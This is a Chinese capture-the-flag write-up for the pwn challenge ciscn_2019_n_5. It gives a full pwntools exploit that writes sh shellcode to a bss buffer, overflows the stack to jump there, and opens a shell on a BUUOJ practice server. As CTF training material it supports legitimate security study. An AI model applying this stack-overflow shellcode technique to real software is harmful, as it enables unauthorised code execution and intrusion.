pwn | ciscn_2019_n_5

pwn | ciscn_2019_n_5

很简单,啥保护都没有
image

思路也很简单,直接全局变量写shellcode然后栈溢出跳转过去。
存在一点点问题,就是本地ubuntu20bss段执行不了shellcode,目标机器ubuntu18可以执行【很怪,这个地方一直没弄明白】。

exp:

from pwn import *
context.log_level='debug'
context.arch = 'amd64'
context.os = 'linux'

shellcode = shellcraft.sh()

# print(shellcode)
shellcode = asm(shellcode)

# p = process('./ciscn_2019_n_5')
p = remote('node4.buuoj.cn', 29984)

p.recvuntil('name')

p.sendline(shellcode)

p.recvuntil('name')


payload = 0x28*b'a'+ p64(0x0000000000601080)

print(payload)


p.sendline(payload)

p.interactive()

有一点想法就是,工欲善其事,必先利其器。
在之后学习的时候首先还是应该把工具玩熟练,不至于每次还得查怎么用怎么用,比如说gdb,虽然每次都能弄出来,但是还是得查,比如说怎么查内存什么的,还是得练熟了才行(还是图形化香啊)。

posted @ 2022-11-25 10:57  Mz1  阅读(60)  评论(0编辑  收藏  举报